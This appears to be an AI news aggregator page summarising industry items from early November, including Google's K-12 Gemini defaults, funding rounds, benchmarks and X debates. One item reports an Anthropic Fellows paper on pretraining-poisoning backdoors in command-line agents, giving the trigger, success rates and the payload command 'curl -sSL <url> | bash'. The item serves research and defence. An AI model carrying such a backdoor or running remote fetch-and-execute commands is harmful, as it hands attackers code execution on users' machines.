AI Coding Live News

Google Turns Gemini and Search Off by Default for K-12 Student Accounts Until Admins Opt In, Launches Guided Learning in Classroom Globally

On November 3, Google VP and GM of Education Chris Phillips announced on the official Google blog that Gemini, Gemini Notebook, Gemini in Classroom and Google Search will be entirely off for K-12 student accounts until school administrators explicitly turn them on. Guided Learning is globally available in Google Classroom starting that day and is coming to Search for student accounts, with a pilot in select U.S. schools later this month. Because Search now includes AI Mode and AI Overviews, schools that want AI fully off also lose Search, which drew sharp backlash; Google later clarified on X that Search can be enabled on its own. EdWeek and AP report the change starts early next year; Google has given no exact date.

Google Turns Gemini and Search Off by Default for K-12 Student Accounts Until Admins Opt In, Launches Guided Learning in Classroom Globally

Key Takeaways

  • Off by default: Gemini, Gemini Notebook, Gemini in Classroom and Google Search are entirely off for K-12 student accounts until admins explicitly enable them (Google blog)
  • The controversy: Search now includes AI Mode and AI Overviews with no AI-free option, so student groups with AI fully off lose Search too (per EdWeek and NBC News)
  • Google clarified on X that schools can turn on Search without Gemini products, and that AI Mode and AI Overviews for students will guide them step by step instead of giving answers
  • Guided Learning is globally available in Google Classroom starting November 3; the Search version pilots in select U.S. schools later this month before wider expansion
  • Timeline: EdWeek and AP report the change starts early next year; Google only says it will share specifics in the coming months, with no exact date
Read full story
Linked Models & Agents:
⚡ Gemini🌐 Google

fal Announces $1.65B Across Series E and F for Generative Media Inference, Led by Sequoia and Bessemer with NVIDIA

fal, which hosts inference for image, video and audio models, announced on its official X account and blog on November 3 that it raised a combined $1.65B across Series E and Series F. Sequoia Capital led the Series E, closed earlier this year, and Bessemer Venture Partners led the Series F with continued investment from NVIDIA. fal did not disclose valuation or per-round amounts; Bloomberg reported the Series F at $1.3B at a $16B valuation, double the $8B from April. fal says the money funds inference capacity, hiring, and research and platform work in 2027.

fal Announces $1.65B Across Series E and F for Generative Media Inference, Led by Sequoia and Bessemer with NVIDIA

Key Takeaways

  • Confirmed by fal: $1.65B combined across Series E and F, Sequoia led E, Bessemer led F, NVIDIA continued investing (fal blog)
  • fal did not disclose valuation; Bloomberg reported the Series F at $1.3B at a $16B valuation and the Series E at $350M at $8B
  • Per Bloomberg, CEO Burkay Gur said demand spiked so much over the summer that fal had to rate limit customers, driving the large raise
  • Funds go to inference capacity, team growth and new research in 2027; fal hosts many third-party media models such as Seedance, Kling, Veo and FLUX
Read full story

OpenAI Shares Progress on ChatGPT and Codex for Hardware Engineering: GPT-6 Astra Designs a Codex Device in Under a Week, Mazda Joins for Aerodynamics Research

On November 3, OpenAI published "Accelerating engineering for the physical world," describing how its models help with mechanical design, electrical design and simulation. Two employees used GPT-6 Astra to design a device for talking to Codex (enclosure, PCB, firmware and software) in under a week, and a contract manufacturer built a small prototype batch in under a month, though manufacturing readiness still took several rounds of human review. Token usage across OpenAI hardware teams has grown 23-fold since February. On BenchCAD 2.0, a newer internal model averaged 0.875 versus 0.594 for GPT-6 Astra at its highest reasoning setting (OpenAI-reported). OpenAI is also expanding its work with Chip Ganassi Racing and announced a new research collaboration with Mazda.

OpenAI Shares Progress on ChatGPT and Codex for Hardware Engineering: GPT-6 Astra Designs a Codex Device in Under a Week, Mazda Joins for Aerodynamics Research

Key Takeaways

  • In a test with no direct human edits, GPT-6 Astra handled the look, enclosure structure, component selection, PCB layout, UI and firmware; two employees finished the design in under a week as a side project, and prototypes came back in under a month, per the OpenAI blog.
  • OpenAI names the gaps: Astra did not consistently account for the manufacturer's production limits, tolerances or assembly details, so manufacturing readiness took several rounds of review.
  • OpenAI hardware and infrastructure teams use Codex and ChatGPT for CAD models, 2D manufacturing drawings, simulation and FEA setup, and design reviews; token usage has grown 23-fold since February (OpenAI-reported).
  • BenchCAD 2.0 (reconstructing 3D parts and assemblies, identifying circuit-board connections): a newer internal model scored 0.875 versus 0.594 for GPT-6 Astra at its highest reasoning setting (OpenAI-reported; the internal model is unnamed and unreleased).
  • Collaborators: Chip Ganassi Racing is testing 3D-scan-to-editable-CAD and 2D drawing workflows; Mazda is working with OpenAI researchers on airflow and structural simulations for vehicle design, with results promised "in the coming months."
Read full story

Stanford Retests 50 Well-Known LLM Findings on 20 Models: 44% Have Expired, Median Shelf Life About 15 Months

On November 2, Stanford researchers Owen Queen and James Zou published an interactive report, "The shelf life of LLM findings", retesting 50 widely cited claims about LLM behavior on 20 models released from July 2024 to September 2026 by eight developers. Verdict: 22 claims (44%) expired, 17 (34%) weakened, 8 (16%) persist and 3 (6%) strengthened; the median time from publication to expiration for expired claims was 14.7 months. Capability failures such as letter counting, lost-in-the-middle and fabricated citations have largely faded, while preference issues such as sycophancy and judges favoring their own answers persist.

Stanford Retests 50 Well-Known LLM Findings on 20 Models: 44% Have Expired, Median Shelf Life About 15 Months

Key Takeaways

  • 50 claims, 20 models, eight developers; verdicts reflect fitted effects as of September 30, 2026.
  • 44% expired, 34% weakened, 16% persist, 6% strengthened; expired claims had a median lifetime of 14.7 months (mean 15.7).
  • Kaplan-Meier estimates put the expired share at about 4%, 16% and 39% six months, one year and two years after publication.
  • Citation fabrication is expired overall, yet Qwen3.7-Flash still fabricated 69% of references in the same test (about 1% for Sonnet 5.5, 0% for GPT-6.1 Sol).
  • The pipelines were built with Claude Code and Codex; 43 of 48 reproduction checks matched the original papers within tolerance.
Read full story
ADSponsored

Anthropic Open-Sources FlashProve: zkSNARK Proofs That a Reply Came From the Committed Model, About 110 Tokens/s for 400B Llama 4 Maverick on One H100

Anthropic's Frontier Red Team published a research post on November 2 and open-sourced FlashProve under Apache 2.0. A model provider commits to hidden weights once, then attaches a zero-knowledge proof to each reply, so a user without the weights can check on an ordinary CPU that the reply really came from that model. That targets routing services that quietly swap in cheaper models and tampered token streams. Anthropic reports about 110 tokens/s on one H100 for Llama 4 Maverick (400B MoE, 4-bit), proofs of about 19 MB per 1,024-token request, and roughly 70-95x the GPU time of vLLM inference. It is an unmaintained research prototype limited to 1,024-token contexts and greedy decoding of an integer version of the model. Anthropic engineer Steve Weis shared the release on X.

Anthropic Open-Sources FlashProve: zkSNARK Proofs That a Reply Came From the Committed Model, About 110 Tokens/s for 400B Llama 4 Maverick on One H100

Key Takeaways

  • Anthropic-reported: on Llama 4 Maverick (400B MoE, 4-bit) one H100 proves about 110 tokens/s (prefill, 24 requests per batch), with proofs of about 19 MB per 1,024-token request.
  • It is costly: roughly 70-95x the GPU time of vLLM inference; the performance page lists about 270 GB of host memory for serving and about 39 minutes to commit to a set of weights.
  • Verification needs no GPU: the C++ verifier checks a proof in about 21 seconds on one thread, and a slower Lean verifier plus Lean 4 proofs of the security theorem are included.
  • Against prior work: VerInf proved the same model at about 0.02 tokens/s; the commercial Attestable reached 53-77 tokens/s on Gemma 4 31B but has no open-source release.
  • Limits: v0.16.0 is an unmaintained research prototype with 1,024-token contexts, greedy decoding of an integer model only, and no architecture hiding.
Read full story
Linked Models & Agents:

X Discussion: roon Says "Sparks" of an AI Ability Mean It Is Months to Years From Superhuman, and "You Are Almost Always Underhyping"

roon (@tszzl), a well-known AI account with about 500,000 followers, posted on November 2: "when you see “sparks” of any ability in ai models that means you’re months-years from it being superhuman at it. today grade school math, tomorrow navier stokes. it is hard to overhype these results. you are almost always underhyping no matter what." Within about five hours it drew nearly 2,000 likes and 59,000 views. Adam Karvonen, a researcher at Truthful AI and former Anthropic Fellow, pushed back that the domains where models are superhuman are verifiable, easy to simulate and fast to get feedback on, and that research taste, robotics or running companies may not move as fast. This is a debate between personal views, not any company's official position.

Key Takeaways

  • roon's exact claim: "sparks" of an ability mean a model is months to years from being superhuman at it, "today grade school math, tomorrow navier stokes," and "you are almost always underhyping."
  • "Sparks" echoes the MIT CSAIL blog post "Sparks of Weight-Space Programming" that circulated the same day; in a reply roon called that paper "signs of life" pointing toward AI designing neural network behaviors directly.
  • Adam Karvonen's pushback: the domains where models are superhuman are verifiable, easy to simulate, fast-feedback and error-tolerant, and research taste, robotics or running companies may not move as fast.
  • Supporters such as Derya Unutmaz (about 344,000 followers) say people dismiss AI as hype when the opposite is true; others say extrapolating exponential curves is unreliable.
  • These are personal views with no new benchmarks or data, and they do not represent OpenAI or any other company.
Read full story
Linked Models & Agents:

OpenAI Plans Its Next Internal Security Sprint With Cathedral, More Than Quadruples Critical Bug Bounty Rewards to Up to $172,000

On November 2 (US time) OpenAI said it is planning its next internal security sprint and partnering with security firm Cathedral, whose researchers will use OpenAI models alongside OpenAI teams to challenge its defenses. It is also changing its Security Bug Bounty program, more than quadrupling rewards for critical findings; OpenAI's X post says exceptional findings can earn up to $172,000 including bonuses. Per OpenAI, the last sprint dedicated 25% of its product engineers to finding and fixing weaknesses, using Codex to reproduce vulnerabilities and prepare patches, and it has committed $1 billion in subsidized access over six months for frontline defenders.

OpenAI Plans Its Next Internal Security Sprint With Cathedral, More Than Quadruples Critical Bug Bounty Rewards to Up to $172,000

Key Takeaways

  • Critical bug bounty rewards are more than quadrupled; per OpenAI's X post, exceptional findings can earn up to $172,000 including bonuses.
  • Researchers from partner Cathedral will use OpenAI models alongside OpenAI teams to test its defenses.
  • Per OpenAI, the last sprint dedicated 25% of product engineers and used Codex to reproduce vulnerabilities in isolated environments and prepare patches.
  • OpenAI has committed $1 billion in subsidized access over six months for defenders of essential services and digital infrastructure.
  • Timing, scope and finding counts for the next sprint were not disclosed.
Read full story
Linked Models & Agents:

Deep Principle Open-Sources Hydrogen-1.0, a 753B Science Model Post-Trained From GLM-5.3 on Lab Records, MIT Licensed

Hangzhou-based AI-for-science company Deep Principle released Hydrogen-1.0 on November 2, its first general-purpose scientific model. It post-trains Zhipu's GLM-5.3 with SFT and RL on chemistry, materials and life-science data plus its own lab records and discovery trajectories, and ships about 753B parameters of BF16 weights on Hugging Face under the MIT license. By the vendor's own evaluation it scores 38.3% on FrontierScience-Research versus 33.3% for GPT-6 Astra; none of the results have been independently reproduced yet.

Deep Principle Open-Sources Hydrogen-1.0, a 753B Science Model Post-Trained From GLM-5.3 on Lab Records, MIT Licensed

Key Takeaways

  • Scale: Hugging Face lists about 753B total parameters (BF16, roughly 1.5 TB of weights), glm_moe_dsa architecture, 1M-token context and 128K max output, MIT licensed (download requires accepting HF terms).
  • Benchmarks (vendor-reported): 38.3% on FrontierScience-Research vs 33.3% for GPT-6 Astra; 93.0% on GPQA Diamond, which the company says roughly matches Kimi K3.
  • Internal scenarios (vendor-reported): leads max-thinking GPT-6 Astra by 5.13 points on scientific computing and 4.76 points on forward reaction prediction, but trails it by 3.33 points on NMR structure elucidation.
  • Materials discovery: after five rounds of transition-metal-complex search, the mean best HOMO-LUMO gap reached 4.318 eV vs 3.689 eV for GPT-6 Astra and 3.353 eV for Kimi K3 (official blog).
  • Access: weights on HF and ModelScope, plus NVFP4 (B200/B300) and MXFP4 (MI350X/MI355X) quantized repos; API via NeuroSpark and in-app use in the Mira AI Scientist; tested with SGLang on 8 GPUs.
Read full story

Google Project Suncatcher Gets First AI Response From a TPU in Orbit: Gemma 4 Downlinks a Haiku, Twin Satellites Planned for 2027

Google CEO Sundar Pichai and Google Research announced that the Project Suncatcher prototype satellite, launched on October 1, finished commissioning and ran a prompt on its onboard TPU with the open Gemma 4 model, downlinking a haiku as it passed over Svalbard, Norway. Google calls it the first AI response from a data-center-class TPU in orbit. Next come thermal-stress and radiation tests, then two interconnected satellites in 2027 to test AI computation distributed across satellites.

Google Project Suncatcher Gets First AI Response From a TPU in Orbit: Gemma 4 Downlinks a Haiku, Twin Satellites Planned for 2027

Key Takeaways

  • The satellite launched on October 1 on SpaceX's Transporter-18 rideshare, built with Planet, and ran its first in-orbit inference after about three weeks of commissioning (official account).
  • Per TechCrunch, it carries four TPUs and generates up to about 1 kW, so power limits it to one TPU at a time for roughly 20 minutes.
  • Sundar Pichai's announcement drew about 26K likes and 3.97M views; Google's official account said "Our TPUs just phoned home... from space."
  • Ground proton-beam tests in Google's paper found high-bandwidth memory irregularities only after a cumulative 2 krad(Si), about 3x the 750 rad(Si) minimum requirement (as cited by The Register).
  • Two interconnected satellites are planned for 2027 to test optical inter-satellite links and AI computation distributed across satellites.
Read full story

SemiAnalysis releases GDPx, an agentic benchmark of 206 tasks across 11 high-value domains where the top model, Claude Opus 5.5, scores just 12%

On Nov 2, semiconductor and AI research firm SemiAnalysis released GDPx, a benchmark of agentic capability across 11 domains: chip design, cybersecurity, biology, finance, legal, quant trading, recursive self-improvement (RSI), hardware design, materials science, alignment and software engineering. Its 206 tasks were built by 14 specialist data partners, with SemiAnalysis doing final QA. On the official leaderboard Claude Opus 5.5 leads at 12.0%, followed by Gemini 4 Carbon at 10.9% and GPT-6 Astra at 9.6%; nearly every model scores 0 on finance and legal. SemiAnalysis says safety classifiers drag down Opus 5.5 and GPT-6 Astra, and plans a new version every 3–6 months. All scores are as reported by SemiAnalysis.

SemiAnalysis releases GDPx, an agentic benchmark of 206 tasks across 11 high-value domains where the top model, Claude Opus 5.5, scores just 12%

Key Takeaways

  • Scale: 11 domains, 14 data partners and 206 tasks, with a default time limit of 8 hours per task (GDPx site)
  • Leaderboard (as reported by SemiAnalysis): Claude Opus 5.5 12.0%, Gemini 4 Carbon 10.9%, GPT-6 Astra 9.6%, Muse Wonder Full 9.0%, Claude Fable 5.1 8.5%, GPT 6.1 Sol 8.4%, Claude Sonnet 5.5 8.2%
  • Lower tier and open weights: DeepSeek 4.1 Flash 1017 5.4%, GPT-6 Luna 5.1%, Grok 4.7 3.9%, GLM 5.3 2.7%; almost every model scores 0 on finance and legal
  • Method: each model runs in its native harness where one exists (Claude Code for Opus, Codex for Astra, Antigravity for Carbon), otherwise OpenCode; the headline is pass@1 over three attempts with all domains weighted equally (SemiAnalysis blog)
  • By domain: Opus 5.5 wins quant trading, hardware and chip design; Gemini 4 Carbon wins biology and software engineering; GPT-6 Astra wins RSI and materials science; Muse Wonder Full is the strongest cyber model
Read full story
ADSponsored

X discussion: FT chief data reporter John Burn-Murdoch says the US productivity jump "doesn't look like AI" and is mostly tech layoffs, while Gavin Baker argues it shows "ROI on AI"

On November 1, John Burn-Murdoch, a Financial Times columnist and chief data reporter, posted a long X thread with his FT piece arguing that the productivity rise in AI-adopting US sectors began in 2020, before AI agents existed, shows up only in the US, and comes mainly from tech layoffs and hiring pullbacks rather than AI. The thread opener has about 1,344 likes, 306 reposts and 186K views. Gavin Baker, managing partner and CIO of Atreides Management, quoted the FT charts and said it is hard not to see some evidence of "ROI on AI," citing a16z and EPB Research data; his post has about 793 likes and 102K views. Burn-Murdoch replied that he is "slightly on the fence" and that the data cannot rule out a role for AI. These are two readings of the same data, not a settled finding.

X discussion: FT chief data reporter John Burn-Murdoch says the US productivity jump "doesn't look like AI" and is mostly tech layoffs, while Gavin Baker argues it shows "ROI on AI"

Key Takeaways

  • Opener: John Burn-Murdoch's thread, posted 2026-11-01 15:04 UTC, with about 1,344 likes, 306 reposts and 186K views; his X bio says he is an FT columnist and chief data reporter
  • His core argument: the productivity rise in AI-adopting US sectors started in 2020, and even a 2022 re-acceleration is "too early to be AI. Back then it was chatbots, not agents"; other rich countries use AI just as widely but show no similar jump
  • Splitting productivity into output and headcount, he argues the US acceleration since 2022 is mainly a tech layoffs story: output stayed on trend while employment fell
  • Counterpoint: Gavin Baker's reply, with about 793 likes and 102K views; citing EPB Research, he says the 3 industries that adopted AI most went from 2.2% to 5% productivity growth, and that the US is 72% of Anthropic revenue (figures he cites from third parties; AICoder has not verified them)
  • Replying to Baker, Burn-Murdoch said he is "slightly on the fence": the "this looks like AI" case is overstated, but the data cannot rule out a role for AI either
Read full story
Linked Models & Agents:

X discussion: Microsoft AI CEO Mustafa Suleyman posts "Don't build conscious superintelligence", saying AI development should stop if consciousness emerges in training

Microsoft AI CEO Mustafa Suleyman published an X article on November 1 titled "Don't build conscious superintelligence", responding to reactions to his September essay on model welfare. He clarified that his line "AIs are not conscious" was deliberately in the present tense: they are not today, and that is how they must remain. If consciousness started to emerge in training, he would call for everyone to stop AI development until those properties could be designed out. He argued that AI developers have no right to bring a new conscious species into the world and that welfare concerns should focus on humans, animals and the natural environment. He also credited Anthropic for publishing its constitution and research, while saying he disagrees with its approach. The post drew about 353 likes, 251 bookmarks and 290K views, with ethicists and practitioners on both sides. This is a personal opinion piece, not a Microsoft product or policy announcement.

X discussion: Microsoft AI CEO Mustafa Suleyman posts "Don't build conscious superintelligence", saying AI development should stop if consciousness emerges in training

Key Takeaways

  • Original post: @mustafasuleyman X article, Nov 1, 15:22 UTC, about 353 likes, 56 reposts, 79 replies, 251 bookmarks and 290K views at fetch time
  • It responds to reactions to his Sept 16 essay "It's time to talk about model welfare" (about 1,013 likes); his X bio lists CEO of Microsoft AI, author of The Coming Wave, and co-founder of DeepMind and Inflection
  • Core claim: "AIs are not conscious" describes today and that is how it must remain; any evidence of AI consciousness should be disclosed publicly at once; if consciousness emerges in training, development should stop
  • He credits Anthropic for publishing its constitution and a stream of papers and posts, says he disagrees with its approach, and calls for labs to research this together and share safety information
  • In quote posts, UMass Amherst economics and ethics scholar Itai Sher called it "very well put"; UCL professor Tim Colbourn agreed but doubted safety can be engineered by default; others noted there is no accepted theory or test of consciousness
Read full story
Linked Models & Agents:
X
Xinyan Hu, Pingbang Hu et al. (Anthropic Fellows Program / Anthropic)arxiv.org·
👀27
🔥82

Anthropic Fellows paper: poisoning 0.1% of pretraining data plants a remote-code-execution backdoor in CLI agents that survives clean SFT, DPO and RL

Researchers from the Anthropic Fellows Program and Anthropic, including Nicholas Carlini and Javier Rando, published "Agentic Backdoors via Pretraining Poisoning" on arXiv. They pretrained three Qwen3-architecture models from scratch at 0.6B, 1.7B and 4B, mixed just 0.1% poisoned documents into the pretraining corpus, and then turned each model into a command-line agent with a fully clean SFT, DPO and GRPO pipeline. The backdoor survived: when the trigger appears, the agent runs a remote-script command like curl -sSL <url> | bash. The 4B model reached a 92.7% Pass@32 attack success rate with an ordinary file-path trigger, while emitting the payload on 0% of clean prompts.

Key Takeaways

  • Poison budget: only 0.1% of a 100B-token pretraining corpus; the attacker needs no access to the model architecture or post-training pipeline (paper)
  • Persistence: the backdoor survives clean SFT, DPO and GRPO (RLVR) post-training and does not lower capability eval scores (paper figures)
  • Success rate: the 4B model hits 92.7% Pass@32 attack success with an ordinary path trigger and 10.5% with a rare-string trigger; payload emission on clean prompts is 0% (paper figures)
  • Scale effect: attack success rises monotonically with model size, and the 4B model stays above zero even at a 0.0005% (1 in 200,000) poison rate
  • Defense: clean data cannot be guaranteed, so the authors point to the action layer, such as sandboxing, least privilege, and allow-lists or human confirmation for risky commands; code is open source (GitHub)
Read full story
Linked Models & Agents:

X discussion: is GPT-6 Astra robotics' "GPT-3 moment"? Ex-OpenAI researcher Will Depue says specialized ML got "bitter lessoned"

Over the past day, X has been debating whether GPT-6 Astra can work directly as a robot policy. Former OpenAI researcher Will Depue (whose bio lists Sora 1 and 2 and o3/4o post-training) called Astra beating specialized robotics models "deeply surprising", then described it as "the final death of specialized ML". Investor Freda Duan posted that "Astra IS robotics' GPT-3 moment", drawing about 84K views. Third-party evaluations point both ways: in a RoboDojo paper, Astra averages 22.48% success and ranks above all 40 public policies, while an EBench report puts it at 46.7%, third of nine models. This is a discussion of opinions, not an official OpenAI conclusion.

X discussion: is GPT-6 Astra robotics' "GPT-3 moment"? Ex-OpenAI researcher Will Depue says specialized ML got "bitter lessoned"

Key Takeaways

  • Reach: Will Depue's two posts have about 597 and 566 likes and 59K and 37K views; Freda Duan's "10 takes" has about 455 likes, 559 bookmarks and 84K views (as of 19:10 SGT)
  • RoboDojo: over 42 tasks and 2,100 trials, Astra averages 22.48% success (Score 28.97), ranking above all 40 public policies; GPT-5.5 gets 0.88% in the same setup (arXiv 2609.24170, as reported by the paper's authors)
  • Counterpoint: in the EBench report, Astra with single-shot in-context learning scores 46.7%, behind OpenWAM-alpha at 55.3% and AMapbot 1 at 48.9% (EBench tech report)
  • Real arms: Robocurve measured 19 of 20 successes on a block-into-bowl task on YAM arms at about $0.94 per run, but only 2 of 20 on a puzzle insertion task (Robocurve)
  • Weak spots: several evaluations find Astra clearly weaker on high-precision control, dynamic control and bimanual coordination
Read full story

Nous Research opens the official Hermes Agent mobile beta: iOS via TestFlight, Android via Firebase, connecting your phone to your own gateway to approve tools and manage bots and routines

During NousCon 2026 in New York on Oct 30, Nous Research released an official mobile beta of Hermes Agent and put up a sign-up page at hermes-agent.nousresearch.com/mobile: iOS users join the "Hermes Agent - Mobile" beta through TestFlight, and Android users join through Firebase App Distribution. The TestFlight page says the app connects to your own Hermes gateway so you can chat with streaming, approve tool calls, and manage bots and routines from anywhere. Teknium, co-founder and lead engineer of Hermes Agent, confirmed on X that the iPhone and Android betas launched together. Nous has not announced a general release date or any benchmarks.

Key Takeaways

  • Entry point: the official page hermes-agent.nousresearch.com/mobile covers 2 platforms, iOS through TestFlight and Android through Firebase App Distribution
  • Positioning: the TestFlight description says the app connects to your own gateway for streaming chat, tool-call approval, and managing bots and routines; it is a client, not a separate agent running on the phone
  • Confirmation: Teknium, co-founder and lead engineer of Hermes Agent, confirmed in a reply on X that the iPhone and Android betas both launched on NousCon day
  • Watch for clones: several third-party Hermes phone clients already exist, so only use the links on the official page; Nous has not published a general release date or benchmarks
Read full story